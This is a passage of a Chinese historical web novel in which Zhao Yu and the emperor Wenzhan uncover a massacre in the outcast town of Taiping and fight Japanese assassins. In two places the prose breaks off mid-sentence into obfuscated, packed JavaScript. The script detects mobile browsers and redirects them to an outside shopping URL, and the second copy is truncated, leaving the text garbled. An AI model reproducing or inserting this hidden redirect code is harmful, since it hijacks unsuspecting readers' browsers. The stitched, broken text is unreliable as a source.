赵毓,“这是胁差,它一般被佩戴在腰间,只有主人的长刀也就是太刀被损毁的时候才用来肉搏用的。同时佩戴胁差与太刀的人,所属的剑道流派就叫做二刀流。这是东瀛剑圣宫本武藏所创。攻击力很强,剑者自我存活的能力却很弱,遇到这样的刺客,除非咱们先发制人彻底杀死他们才能活命,不然,只能被杀死,或者同归于尽。” 刚才如果不是赵毓骤然下了必杀的命令,按照这些兵士平时训练的那种习惯,打斗时候尽量留对方活口的方式,御林军诸人,也许再加上皇帝与赵毓在一炷香的时间之内就会全军覆没! 76. 76 76 文湛,“你知道的事情真多。” 赵毓,“我去过东海。” ——仅仅是去过吗? 那位一眼认出’倭寇’,并且为皇帝从泥土砂砾中拔出胁差的兵士,依旧跪在地上,文湛一挥手让他起身,他在恭敬执行的同时,双眼一直看着赵毓。 作为御林军兵士,并且有资格可以随扈皇帝,韦睿是贵介子弟。 他大约知晓赵毓的真正身份。 大正宫历经千年,原本坚钢不催的石基都布满了斑驳的苔藓,多少年来,这里面发生的骇人听闻、不为人知的事情不胜枚举。所以,这位被先帝褫夺了封号并且众人以为早已经埋骨荒山的前皇长子回京,在韦睿看来,似乎也不是一件过于惊世骇俗的事情。 至于这位前皇长子与皇帝的关系,…… 韦睿生于雍京长于伯府,为了保一家大小的性命,自然知道什么事情应该看不见。 这些都不重要。 只是,…… 他见过赵毓。 不是前皇长子承怡,而是赵毓。 五年前,韦睿尚在东海,他曾经是东海水师提督盛执玉麾下的参将。 有一天夜晚,天降大雨,东海的一艘巨船却在此时下水试航。 盛执玉亲自登船,他对韦睿说,“西北的一位将军,姓赵,随我们出海,你到岸上迎一迎。”韦睿领命,就听见盛执玉又说了一句,“这位西北军的将领还有一些东西需要装船,你协助一下,不要出任何差错。” 韦睿回到东海岸边,他看见这里已经囤积了三、四百艘小船,每一艘小船上全部是用油纸和茅草包裹好的货物。 原本有了盛执玉的那一句话,韦睿只要做到确保全部货物安全装船就好,不过,他还是让人用刀剑挑开其中一船货品,举着马灯仔细看了一眼: ——江南的丝绸与蜀中的锦缎,甚至还有一包是非常罕见的缂丝。 韦睿出身显贵,自然敢问,“这种货品不是应该只出自江南织造局,由宁波市舶司出海吗?” 有光! 韦睿抬头,黄金马蹄铁踏在礁石上的声音,有人腰身直挺,端坐在一匹罕见的匈奴良驹之上,一手勒住缰绳,而另一只手中则拎着一盏琉璃灯。 来人身上黑色披风的兜帽几乎要盖住了脸。 韦睿只能看到此人眼角有一颗红色的泪痣,在他手中的琉璃灯光下,秀艳红润,如同苍白的皮肤中渗透出来的血珠子。 此人倒是没有说话,因为他已经不需要说什么了。盛执玉派的第二位参将来到岸边。 那位参将先把韦睿拉扯到一旁,低声说了一句,“你一下船,盛大人就后悔了,他怕你多问。” 随后,他才对马上的那位恭敬的一抱拳,“赵将军,盛大人遣末将到岸边,助您登船。” “好,有劳。” 那人甚至没有下马,只是将手中的琉璃灯熄灭,挂在马鞍上。 然后抬手摘下兜帽。他看了一眼韦睿,既没有责问他为什么私自刺开这些货品,也没有解释,像看一个不相干的陌生人一般,双腿夹了一下马肚子,让骏马从他身前走过。 岸边的船早已经在等待。 那人策马直接登上小船,骏马矫健的身姿立于船上,就像是一尊黑色的魔神。 登时,数百艘小船齐发,向已经入海的大船驶去。 韦睿记得,那一次,那一整艘大船的丝绸全部运到东瀛。 赵毓感觉眼前这个人似乎一直在注意他,只是以他那种狗熊掰棒子一般的记性来说,他实在想不起来自己曾经什么时候得罪过这位看上去很是年轻有为的御林军兵士。 …… 顺天府的姚肃以及手下正在吃赵毓送给他的酱兔子。 “头儿,这兔子味道不错。这个姓赵的人不错。”说话的那个人,双手抓着一根兔子腿,已经啃到了骨头,“不过,这马上冬天了,兄弟们吃了这顿,家里老婆孩子老子娘还不知道在哪儿着落呢!” 姚肃一听,“不对啊,我记得你家里日子那是相当过得去。怎么沦落到说老婆孩子老子娘都没饭吃的地步?” “头儿,你别搭理他。”旁边一人啃完了兔子头,一呲牙,“老王这小子不地道,您别看他长得五大三粗的,平日里在衙门里就没见怎么出力,这活儿能偷懒就偷懒,清闲是能躲就躲,没想到,啧啧!” 姚肃再一听,更加纳闷,“他怎么了?” 那人道,“老王把他那把子力气都使在他婆娘身上喽!每宿不干别的,净捣鼓孩子了。这不,去年他老婆一撇腿,生了俩儿子,今年也是邪门了,他老婆一撇腿,又是俩儿子。老王原先那个老婆还给他生了三个半大小子,俗话说,半大小子吃穷老子,这一家大小,一共十几口人的嚼头都在他一人身上,都快吃了上顿没下顿喽!” 姚肃听着把脸一沉,“你说你,没事儿生这么多作甚?” 那位姓王的人老脸一红,又是害羞又是骄傲的憨厚笑了笑,“头儿,这多子多福,世上谁嫌弃儿子多呀!您别看我们家穷,我们过的辛苦点,可是听见儿子哭闹,我这每日里心头都是甜的。我可一点不羡慕这姓赵的,别看他这么多的产业,有留园还有其他什么买卖,可是他只有一个闺女没儿子!以后他们家这么多的钱不都得便宜了他女婿这个外人吗?别说,没准等我儿子长大了娶了他们家的闺女,这姓赵的一辈子的奔忙就算给我儿子积攒家业了。这人哪,一辈子为谁辛苦为谁忙,还真说不准!” 姚肃没想到这位老王还有如此的宏图大志,他想着赞许两句,可是,不知道怎么张开这个口,他想着也跟着下属笑骂两句,这个口嘛,就更加难张开了。 于是,他最后拍了拍老王的肩膀,“要是真能那样,你们老王家的祖坟就冒青烟了。” 姚肃喝了一口面汤,说,“弟兄们再忍忍,咱们的好日子马上就要来了。” “怎么,头儿,朝廷要给咱们发饷银了?” 姚肃瞪了说话的人一眼,“自古以来,衙门里面只有老爷们才有饷银,你们还想要朝廷的饷银?除非你们家祖坟冒红烟!” “冒青烟还是好事,这冒红烟不就是祖宗们诈尸了吗?” “你也知道啊!”姚肃又抓了一只兔子腿,“你们啊,就是衙门口跑腿的命,别想着饷银了!不过,户部该收税了,咱们过手能捞。” “头儿,别提了,要不是咱们过手能得点油水,弟兄们真的喝西北风了!要是就这么点东西,弟兄们还得再勒勒裤腰带。” “你懂个屁!”姚肃看了看四周,压低了声音,“今年同往年不一样。” “看不出来。” 姚肃,“今年雍京城的银价高。” “咱们平日里都用不上银子,都用铜钱,那银价高低,跟咱们有个屁关系!” 姚肃翻了个白眼,又叹气又摇头,他手下一群酒囊饭袋,他这脸面上也不好看。 不过,老王却听的非常认真,姚肃就对他说,“咱们平时向老百姓收税,收的就是铜钱,可是户部要的是银子啊,所以,咱们每年就按银子兑铜钱的数目征收铜钱。 往年一两银子换一千三百个铜子儿,今年一两银子能换两千个铜子儿。 户部的税还是那些,每户收白银一两二钱。 往年咱们找每户要一千五百六十个铜钱,过手留下一成,那咱们能落下一百五十六个铜子儿;今年呢,咱们每户能收到两千四百个铜子儿,过手就能落下二百四十个的铜子儿! 怎么样,今年每户咱们能多落八十四个铜钱!” “现在雍京的大米白面还是那个价,没变,这么算起来,咱们今年每个弟兄能多六、七亩地的收成!” 说完,姚肃又拍了拍老王的肩膀,“到了年底,你们家别说七个小子,就是再来七个,你也养得起!” …… 裴檀的人马到三不管芦苇滩的时候,姚肃他们刚吃饱,只留下一根兔子腿,就放在柴火上的瓦罐里。 他让手下出示了印信,准备全部换防这里。 姚肃虽然感觉到有些古怪,不过可以轻松离开,他是很满意的。 “裴公爷。” 姚肃自然裴檀是谁,作为京师重镇本地衙门的低品级武将,了解雍京本地的权贵王侯,是他们生存下去的基本功。 随后,他对裴檀双手呈上一本纸簿,这里记录着顺天府封锁这里之后,南来北往所有人的姓名。 裴檀接过,道了一声“辛苦”。 同样都是军中人,裴檀对于眼前这人有一些本|能的善意。 纸簿在他手中翻动,他大致扫了一眼,有些意外,——居然有没有赵毓过境的记录。 此时,裴檀有些犹豫,——是否需要开口询问? 这一次赵毓出京,似乎有很重要但是隐秘的事情需要做,如果将他同自己联系起来,会不会让顺天府的人有诸多料想,从而坏了赵毓的事?说实话,是否坏事,裴檀并不关心,可是他知道,昨夜三更,敲开雍京南城门出城的人,可不止赵毓一人。 “这位大人怎么称呼?”萧则忽然开口问姚肃。 裴檀抬头,看着萧则。实话,他很赏识眼前这个年轻人,虽然他对赵毓这个纨绔浪荡子多有看不顺眼的地方,但是,赵毓身上有一种能力,让他暗自佩服,——相人。 凡是赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728934|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毓能看得上眼的人,质素其实都不错。 赵毓在这方面似乎从未失手,尤其是十几年前离开雍京之后,他的眼光越发的准确,犹如用锋利的刀砍杀,入骨三分。 ‘这也许就是纨绔阅人无数之后的本|能。’——裴檀时常这样想。 裴檀手指勾了一下,让萧则过身边,他轻声说,“你去问问顺天府的人,赵毓可否来过,如果来过,前面有两条路,他走的是哪条路?” “赵毓?”萧则听裴檀说出这个名字,心中一愣。 裴檀却不再需要解释什么。 萧则是训练有素的军人,自然懂得服从,他领了裴檀的命令,到姚肃面前,先是起手施礼,再问,“这位大人如何称呼?” 姚肃虽然不认识萧则,不过他绝对不敢怠慢。这是自然,定国公的人,自然要被高看一眼。 “下官是顺天府的武官,姓姚。” “姚大人。”萧则笑着说,“赵毓,赵先生可曾来过?” 裴檀没想到萧则问的如此直接。 不过,萧则接下来解释,“下官姓萧,家父同赵先生是好友。如今家父有事情想要请教赵先生,可惜,实在不凑巧,他出城了。如今,我在姚大人的瓦罐中看到这种卤兔腿,这应该赵先生留园做的卤味,想必他在这里逗留过。” 这话……,说的有些,…… 姚肃仔细辨了辨,对方似乎也不像是为了几只兔子就责怪他乱收礼的意思,他于是很直白的说,“对,赵先生来过。只是方才我们吃面,还没来得及写他的名字。他是一个时辰之前到这片芦苇滩,随后就去冉庄了。” “冉庄?” 裴檀听到这回答,心中一个疑问。 “对,冉庄。”姚肃说,“赵先生说,他老家有事要回去一趟。他还说快点走,晚上还能吃铁锅炖大鹅。” 如今赵毓的户籍迁入顺天府,黄册上写着他的籍贯就是直隶冉庄。 要是赵毓曾经这么解释,倒是也通顺。 闻言,裴檀将手中的纸簿合上,直接问姚肃一些事情。诸如此地除了是荒凉的芦苇滩之外还有什么? 很多不可对赵毓说的话,姚肃一口气都对裴檀说了。 “死人?” “对,很多死人的,当时漂了一河面。”姚肃认真的回答,“我们何大人立刻派人掉了捞尸队过来,将所有的死人都打捞上来,直接送到太平镇了。” “太平镇?”裴檀,“你们何大人是个聪明人。” 死人的事情,可大可小。 大了,可以泼天;小了,可以了无痕。 人死在雍京和死在直隶是完全不同的事情,前者可以做成泼天大案,后者,可是微风吹过湖面,一切了无痕迹。 裴檀布置了一百多人将这里换防。 随后,他带着五十精锐,直奔太平镇。 …… 赵毓没有预料到太平镇的事情,他们已经没有东西吃了。景沢的人就像陷阱,未知去向,未知危险。文湛身份极贵重。现在最好的决定就是赶紧回撤,离开太平镇,直接与裴檀汇合。 只是,与十三行银船被劫有关的所有死人都在镇子里面,如今这一走,有些功亏一篑的意味。 还有,…… 景沢,“我告诉你,天平镇这里有人住,不到一百户,人不足六百,都被关在后面的山涧中,你再犹豫一会儿,我们的人开闸放水,这小六百人就淹死了。” …… 赵毓,“太平镇有活人吗?” “有。”文湛回答。 “方才景沢说的话,……”赵毓,“他说,他们将那些人关押在山涧中,怕是再晚上一会儿,那些人会出事。” 应该离开! 文湛,……,不,皇帝应该离开。 圣人说过,民为贵,社稷次之,君为轻。 这是骗天下人的冠冕堂皇。 这个世上,没有人的生死可以重于帝王。 只是,文湛却说,“我们去找。” 赵毓看着他,文湛则递给他最后一块桃酥饼。 文湛这样说话,赵毓感觉到有些意外,其实又不是很意外。 皇帝,“写在奏章上那些死人的数目是一回事,而我们眼前的活人,是另外一回事。我可不想以后想起来今天的事情,只能是写在故纸堆上的一些不可对人言的东西。” 皇帝周围是铁幕。 由礼教,圣人言,重臣的奏对,还有他从出生到现在,在大正宫中受到的所有教育与认知所形成的铁幕。 如今这道坚不可摧的铁幕裂开了,承怡帮他敲开了一道缝隙。 一道光透射了进来。 77. 77 77 太平镇里面当真有住民。 碎石路再向前走就是一片被梨树遮挡的田地,里面种了一陇一陇的荞麦。 “这么工整的耕地,一定是祖籍直隶这边种田好手的杰作。”赵毓比划了比划这些,口中啧啧,“我曾经种过菜地,不过我耕的菜地好像是狗啃出来的一样。” 文湛,“直隶人?” “只有直隶人才会将土地精耕细种,伺候它就好像伺候自己的老婆一样。” 赵毓说,“关中八百里秦川,那边的土肥的流油,乱撒种子就疯长,那边的农田看起来都像荒草一样。我记得一位祖籍长安,任职潼关的布政使调任直隶,第一次看见农人耕田,还以为是在种花,当时闹了个大笑话,……,咦,前面的房子虽然破旧了一些,感觉像个家庙。” 这是太平镇的一个宗祠。 里面有一块石碑,用一种非常古怪的幼稚的字体以大白话的形式记载了这里百十多年来的历史。 记录很简单。可是,文湛看过这里的案卷,他可以从简单的几句话中,填补进去微音殿禁区的资料,补成一张还算完全的图纸。 太平镇原先是远安镇。一百六十七年前,这里发生过一场瘟疫,朝廷的军队封锁了所有逃生的路口,所以,当时世代住在这里的人全部死绝。 等待瘟疫平息之后,周围几个村子的人开始将家中去世的人埋葬在这里。 死人占不了太大的地盘,继而,活着的人看见这里荒芜的土地实在肥美,再加上瘟疫已经是十几年前的旧事了,众人就开始向这里移居。那个时候地广人稀,无主的荒地随便种,只要有石头有黄胶泥,房子也随便盖。一些胆子大的人像是发现了武陵的桃花源一般,开始落地生地,安居乐业。 可惜,好景不长。 也许是当时乱占荒地遗留下来的习惯,又或者是来这里的人都不是老实巴交的肉羊,能不惧瘟疫和遍地的坟,背井离乡跑到这里占地的人在自己原本的村子里面也是争强斗狠的人,他们的日子一向过的不是很温平。 打斗时有发生,为了争夺水源浇地,每年都要死几个人。 当时村子中的人也以为是冤魂作祟,于是,他们请了道士过来作法镇邪。道士也来了,换了名字改为如今的太平镇,又泼了大量的狗血,甚至还烧了十八个二八少女做祭品,希望凶案不再发生。可惜,事与愿违,作法之后,凶案发生的更加频繁。众人都说,除了几十年前的瘟疫冤魂,如今又多了那些不情愿被烧死的少女的冤魂。 当时的地方官对于这样的事情实在头疼,他不知道应该怎么处理,直接上报直隶总督署。 当年的直隶总督是后来的名相姚道蘅,有名的道学家,最喜欢的事情除了修身齐家治国,就是修祖坟与找高人看风水。 姚总督认为,远安镇的风水在几十年前已经被那场瘟疫还有死去的人所破坏了,这种破坏无法恢复,整个远安镇已经成了一个大凶之地。于是,直隶总督署一道命令,令太平镇所有人迁出,整个镇子不允许住人,被弃用。 让农人放弃土地,犹如杀人父母,不,比杀人父母还要凶残。 旧时多少暴|乱就由此而起。 姚道蘅一看这道政令无法实施,他又想了另外一个办法。——凡是太平镇住民,妇人鼓励外嫁,并且每有婚事,由直隶总督署派冰人保媒,并且置办两石谷子的嫁妆。 这一招釜底抽薪,快、狠、绝! 不出三年,太平镇中无有适龄成婚的姑娘,不要说姑娘,太平镇中甚至连守寡的妇人和老妇人都没有了。 此时,姚道蘅第二道关于太平镇的命令,——多年混乱之后,如今直隶省要造太平镇的户籍黄册,以后凡是此地户籍者,本人、子孙后代皆不允许科举出仕! 理由奇绝!——太平镇风水不好,凡是此处出身的男子,大多愚昧暴戾,不读书只祸害邻里,读书出仕就会祸患苍生。 如今的宗法世间,男子安身立命大抵有两样: 一、有儿子,标识着有后。没有儿子的人被当成是被阉割的驴子。 二、可以有科举出仕的身份。如果此生、下一世,子孙都是贱籍,无法科举出仕,那么这样的人会被当成是待宰的骡子。 如今,姚道蘅把这两条路都堵死了。 于是不到三个月,直隶总督衙门派来造黄册的人到此处一看,太平镇已经荒芜一人。 文湛大致说道这里,赵毓啧啧感叹,“姚相爷不愧是凌烟阁名臣,读书时候风采动江左,做封疆大吏的时候政令犀利如刀,直劈核心,厉害。呃,……,当然,陛下,如果当年是您处理这件事情,您的手段肯定更上一层楼!只是,这样说来,太平镇早已经被荒废了吗?不像呀,……” 是的,不像!他们向里走,一推开二道门,眼前是一大片木桌,上面摆满了大约二百个瓷碗,碗中盛着白米饭。米饭似乎是早上新炊出来的,已经凉了,米粒却依旧柔软。 “太平镇居然有小站稻?” 赵毓仔细看了看这些米粒,有些意外。即使小站稻比不上绮镇的玉碎珍珠,也能算是北方饭桌上最好的大米了,毕竟玉碎珍珠几乎只供宫廷与雍京的顶级权贵。别的那些富户与士大夫和等闲一些的勋贵们,能吃到小站稻也是不错的选择,因为,即使富甲天下如周熙还只吃永嘉的二季稻米呢! 文湛对这些瓷碗中的大米是否是小站稻不感兴趣,他看着眼前这个场景,秀致的眉几乎要拧成一个疙瘩了。 因为,…… 这二百多碗的米饭上,每一碗米饭上都整齐的插着两根筷子。 这是祭奠死人用的。 米饭碗上插木筷子,这是上香的样子。 有新米饭,说明有活人;摆成祭祀用的模样,说明有死人。 文湛,“难道,从宛平南那片三不管芦苇滩上打捞上来的尸体,有两百人这么多?如果真是倭寇独立犯境,在京畿重地做下这样的泼天巨案,东海立刻就要重兵布防。” 战争一触即发。 “应该死不了这么多人,不然顺天府尹何大人不敢把尸体直接甩给天平镇。他又不傻,如果真是泼天的巨案,他捂住,以后再翻出来,他吃不了兜着走。” 赵毓又摸了摸米饭,“倭寇是疥癣之患,不足为惧。只是,虽然不知道真相,但是我感觉,……” “什么?”文湛问他。 赵毓,“如今在大郑海域的倭寇不是德川家族的军队。” 东瀛狠穷,基本上是穷疯了,德川幕府十年内没有钱来养水师。 如今横行东海南海的’倭寇’基本上就是大郑的海盗,海商;东瀛一些因为战败而失去土地的贵族、武士和浪人;还有一些七七八八,不知道从哪里冒出来的水匪盗匪。 这些人是没有土地的亡命徒。 如果单说人数,仔细算一下,还是郑人占多数。 赵毓又说,“这群倭寇,平时打劫闽浙地区的城镇和往来的商船,垄断东瀛到大郑的所有走私商道而发财已经是他们此生最恢弘的梦想,如果单说格局,这群人似乎还没有到扰乱雍京,颠覆大郑这个地步。除非,……” 他们此时遭遇的倭寇,并不是赵毓曾经在东海遇到的倭寇。 还有。 赵毓心思一动,——为什么景沢威胁他的时候,只是抛出来他小舅子尹徵的印信,而不是周熙的? 既然,景沢和他背后的人布下这个局,他们不可能不知道目前赵毓最想见的人是周熙。 除非,……,周熙不在景沢他们手中! 还有,这二百碗的米饭,是为了祭奠谁呢? 周熙,……,周熙! 想要立马见到周熙的人不止赵毓一个,号称十三行泰斗的人物章春秋面对如今的局面,也想要立刻见到周熙。 章春秋想到了那个典故——白象。 传说,白象是印度圣物,而国王却把它当成了驾驭重臣的手段。 如果国王想要哪位大臣不得好死,就将白象赏赐给那位大臣。白象到大臣家中,被当成神佛一般供养,这样,不出半年,身家再丰厚的贵族也会倾家荡产。 如今十三行就像一头巨大的白象,它是圣物,却要吞噬一切。 外面来兑银的人络绎不绝,章春秋喝了三碗狮峰龙井,最后,他放下盖碗的手指都有些颤抖。 章春秋唤了账房进来,“告诉外面,上板关门。” “啊?”账房大吃一惊,“章老先生,这样做,这样做,……,会砸我们十三行金漆招牌的!” “招牌摘了,还能再找回来。”章春秋,“十三行在,一切都能回来,要是十三行没了,就如同人死,什么都没了。” 既然,白象可以吞噬自身,那么在它开始吞噬之前,一定要封住它的嘴。周熙不在,没有人可以摆弄十三行,为了保全它,只能关门。 太平镇邪性的很。赵毓他们在这里还看到了一些古朴的房子,屋前屋后种着瓜菜,屋后面的水道中有活泼的鸡鸭鹅,灶台下面的柴火还是温的,有的人家院子中摆放着织布。 一派戏文中唱的,“你耕田来我织布,你挑水来我浇园”的夫妻双双把家还的田园风光。 却没有人。 赵毓,“姚道蘅不是已经把这里废弃了吗?” 文湛,“当时的确已经废弃了,并且直隶总督署上报朝廷,也定了太平镇户籍的人不能科举出仕。这里的确荒芜了很久,但是从前朝到如今,一百年来,总有一些无法见容于世间的人需要找到法外之地,太平镇就是。” 未曾婚配而有身孕的女子,穷苦到极度典卖妻儿之后的男子,逃妾逃奴,还有一些亡命之徒,甚至,一些极端厌世,却家世清白的读书人,等等。 游方的僧人和道士更不要说,比起自己原本就不那么坚持的清规戒律,这里虽然不是万丈红尘,也一样不容于尘世,不过,终究是人间。 几十年下来,太平镇有规矩,就是一旦踏进这个边界,只能一生,甚至子孙都要一生住在里面,不得外出。 “果然是方外之地。”赵毓点头,“如果太平镇的人不得外出,不得科举,那么读书识字就是不需要做的事情,所以,我们方才看到的石碑,仅仅是非常难看的字迹写的白话。” 这里就是他一直想要寻找的桃花源吗? 树林的尽头就是悬崖。 赵毓一脚踩在悬崖边缘的巨石上,向下看,山涧中有许多人脸争前恐后的向上冒头。 他们哭喊,求救! 可惜。 所有的声音已经被掩盖在瀑布巨大的流水声当中。 “有人!看!” 赵毓扯过一个人的胳膊,他以为是文湛,所以毫无顾忌的抓住他的手指,……,不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五年前,他们在东海与倭寇有一场海战,俘虏的人当中有长州藩、萨摩藩的武士,那些人不堪被俘受辱,一定要切腹。 赵毓看中人家切腹的短刀,直接夺了过去。 “这刀挺好的,我留着给我闺女切西瓜吃,你们,……”他的手指胡乱指了指眼前这群早已经光着膀子端正跪地的武士们。“反正都是要自尽的,自己跳进海里喂鱼和自己把自己剁了没什么两样。我们随船厨子老牛,他的菜刀也不错,剁大排切鱼头也挺锋利,要不我给你们借来,让你们自己把自己当成猪后腿一般剁一剁?” 最后,赵毓将这些被夺了短刀、终于又下不去手用厨房菜刀切腹的武士们都放在归程的小岛上,让他们等他们的人过来救援。 今天,赵毓的说辞居然变了,不给闺女切西瓜,改给相好的切蜜瓜了。 果然,……他还是一如既往的见色忘义。 据说,当年赵毓放弃西北一切基业回冉庄,就是因为“色”,却谁也不知道这个“色”究竟是谁。因为,赵毓在直隶和雍京的日子中,似乎一直过的都是非常平淡的鳏夫生活。 不,……原本的谜题似乎顿时解开!——韦睿知道赵毓的“色”究竟是谁! 深潭下面是待溺毙的数百活人,此时不能恋战。此时,文湛虽然对这名黑衣武士说什么不在意,他却一直看着他手中的太刀。 “承怡,太刀好用吗?” “东瀛长久战乱,对刀剑枪的锻造很是注重,再加上日本人脑袋梗,心思死板,做什么都一板一眼,他们的工匠锻造每一把刀都耗尽心血,在我看来武|士|刀的钢口绝佳,是砍、切、杀的好器具。” “好,就用它砍闸门。” 果然是英雄所见略同,方才赵毓想要用胁差去砍闸门,眼前这把太刀却似乎更合适。 文湛将手中的强|弩解下,从旁人手中接过一柄长剑。 他跳下大石,对那个黑衣人说,“你想要那柄胁差?和我比一场。” “好。”那个武士对于正经挑战很是尊重,“如果我输,我切腹。” “不用。”文湛卸掉长剑上面那个流光溢彩的剑鞘,“如果你输,你手中的长刀归我。” 真正对上文湛的长剑,黑衣人心中震惊!——眼前这个郑人,已经到了“无心”的境地。 他对武|士|道中的“道”的悟,就是“无心”。 无人无刀,无生无死。 他耗尽毕生的心血,想要在剑道上再进一步,就是想要无限接近“无心”的境地,为此,他一次一次的从生死之边爬回人间。他总是觉得自己面对敌人,面对敌人的锋刃依旧有血液沸腾的热度,他无法使自己真正的平静下来,像永不融化的富士山峰顶。 可是,眼前这个人就是这个境地,是他几乎终其一生也无法达到的“道”。 文湛对剑道并不痴迷,他的“无心”境地不是通过生死得到的。而是,……多年的爱而不得,求而不得,将他试炼成了一个如同冰封一般的心境,还有,一把开刃后宝光四溢的利剑。 这个世间,入得山门的路不止一条,了悟的道也不止一路。 生与死,爱与恨,得与失。 哪一个不是令人血肉模糊的炼金石? 78. 78 78 ——“这就是太平镇?”裴檀以为会看到鬼影幢幢,没想到这里却是一派暮秋已至,芳菲未尽的美景。夕阳挂在天幕上,如同为这个将要翻起来的夜幕镀上一层桃金色。 天上流云拂过,只是,……,风吹来的时候,送来一股血的腥甜气息。 蓦然,从遮挡了眼前马下道路的荒草中远远跑过来十几个人。他们慌张到如同丧家之犬,似乎身后有恶鬼相逐。 “救命!大人救命!”他们看见裴檀的人马,如同眼前出现了救星,随后鬼哭狼嚎一般,奔跑滚落而来。 “这是怎么回事?”萧则横马于众人和裴檀及五十精锐之前。 众人跪地,其中一个十几岁的年轻人连着叩头,哭喊,“大人,我们都是这山村的百姓,平白无故遭到土匪洗劫,现在他们人多势众,正在恣意屠村。我们冒死逃出来,有幸遇到大人们,万望大人救我们一救!” “屠村?” 裴檀心中一惊,他一想到皇帝也在太平镇,脖子后面就是一层冷汗。 此时,马蹄凌乱的声音。 那些人一听,立刻从草地上慌乱滚爬而起,方才喊冤的那个年轻人用一张离开见了鬼一样的表情对着追来的人,“土匪!就是他,他是土匪!大人,杀了他,他就是屠杀我们村子的匪徒!” 京师重地,刚过宛平就发生了十三行银船劫案,许多人死不见尸,如今又有土匪屠村,这还是太平光景吗?裴檀从马鞍上抽出自己的强|弩,手指一按机关,弩|箭上膛!来人的身体几乎负在马背上,速度异常快,胯|下黑色的匈奴马如同一道黑色的鬼影。 萧则看见那人,惊讶的叫了一声,“赵叔?!” “裴檀!”与此同时,那人却对着裴檀高呵一声,“围住他们!” 定国公裴檀是纯血的大郑权贵。 他亲爹是先帝凤化初年的权相裴东岳,他嫡亲姑姑是先皇后裴氏、也是当今皇帝元熙帝的亲生母亲,所以论起来,定国公是当今天子的亲表哥。 除了血统,裴檀的定国公这个爵位是实打实的战功杀出来的。 当年的西疆十六国不像现在这样散落;当年西域丝路上还是有很多强悍的政权;当年的高昌,还是一个野心勃勃的国度,国王阿尔术一度妄想马踏黄河。首先碎裂这一切的,就是裴檀。当年的他,不过是个弱冠少年。 如今裴檀手握重兵,布防京畿。他有实权,有军权,有血统,有皇帝的信任,即使那些身居雍京城的王公见了他,也要恭敬尊称一声“裴大人”。 没有人称呼裴檀为“公爷”。 因为定国公这个爵位太高,再高一点就是郡王。而大郑祖制,除开国重臣文王商氏,其他人不可异姓封王。月盈则亏,水满则溢,只要同裴檀没有深仇大恨,定然不会当面称呼他为“定国公”或者“裴公爷”,似乎要给他招惹一些忌讳,同时,也不会有人当面连名带姓的直呼他为“裴檀”。 萧则听见赵毓喊——“裴檀”。 裴檀? 裴檀!! 而定国公看见赵毓从马背上直起腰身,他抬手用弩|箭对准了方才对着他信口雌黄的年轻人的咽喉,扣动机关!此时,赵毓手中的弩|箭也射|了|出来,直接劈开裴檀的,救了那人性命。随后,裴檀第二支弩|箭直钉住那个人的腿,穿过血肉,钉死在草地上。原本哭喊着自己遇到土匪屠村的人们登时好像被割了舌头一般,——哑了。 “怎么回事?”裴檀问。 “一言难尽。”赵毓的脸色好像是涂抹了香灰的苔藓,一脸的破败相,“幸好遇到你。” 他说着,低头,看着让裴檀钉在泥土中的人,——景沢。这个年轻人也抬头看着赵毓,眼神中除了刻毒,只余下绝望。 “圣……”裴檀的话没有说完,赵毓身后几匹快马飞奔而至。 文湛的脸色也不好看,如同被冰封住一边,只是看到赵毓之后,似乎缓和了一些。 “圣,……”裴檀的话又没说完,文湛的衣袖轻轻一挥,表示他出门在外,一切从简,随后吩咐道,“裴檀,你发烟火信号,找人过来封锁这里,所有人不能进出。” “是!”裴檀终于有空当将自己一直在舌尖翻滚的话,说了出来。 ——不,这个世上定然有人可以直呼定国公姓名,就是给予他爵位军权的那位。 赵毓此时方看到萧则。 他发现,萧则的脸色,似乎比方才跳入深渊手持太刀砍掉木闸门想要救人的韦睿,还要难看。 太平镇被重兵封锁。 二十几个刺客或者切腹,或者被杀,却没有一人被俘;十三行银船上的那些死不见尸的人也都找到了,大约是三十人;此外,还有,……,二百多妇孺的尸体。 这些无辜妇孺的身体被裴檀调动的骁骑营的人手,一具一具从深潭中拖了出来,在村庙之前的空地上,整齐码好,每个人身上盖着村子中各家拿过来的布单。 因为这些布是村妇自己织的,不全是白色,一些被被山草简陋染成彩色,覆盖在用双手织就它们的女人身上,成全了她们在这个尘世最后一丝的尊严。 最后,在此地之外,还有一大片田野。 原本这里种了许多的荞麦和土豆,准备再晚一些收割,现在,这片空地被用来盛放太平镇最后活下来的人,——三百个、除去妇孺之外的所有人。 他们被骁骑营的人用弩|箭威胁着,好像后背的骨头被抽掉一般,跪在麦地中,此时,却也顾不上将要丰收的庄稼。 赵毓裹着披风,靠在一颗树下,正在睡觉。他这个姿势,凡是边军的下等军官都会,双臂抱着,脑袋一耷拉,像一颗窝起来的土豆。这样的姿势可以让人安眠很沉稳,不挑剔地方,也不挑剔时辰,还有,随便风吹雨打都不怕。 文湛坐他身边,赵毓一激灵,就醒了。 文湛,“方才,你不应该引开那些东瀛刺客。” 赵毓刚睡醒,声音还有些哑,“把他们坨成一块打太耗费体力,昨晚到现在没吃没睡,撑不下去了。” 他不知道裴檀他们会不会过来,什么时候过来,不能跟他们虚耗。 刚才,他们遇到东瀛刺客的围攻,原本文湛早已经将赵毓护在身后,只是一个转身,赵毓扯过旁边一匹马的缰绳,翻身踏上马鞍,手中是他惯用的那柄银色弩,射|出去的箭尾部牵引着细却韧的链条。 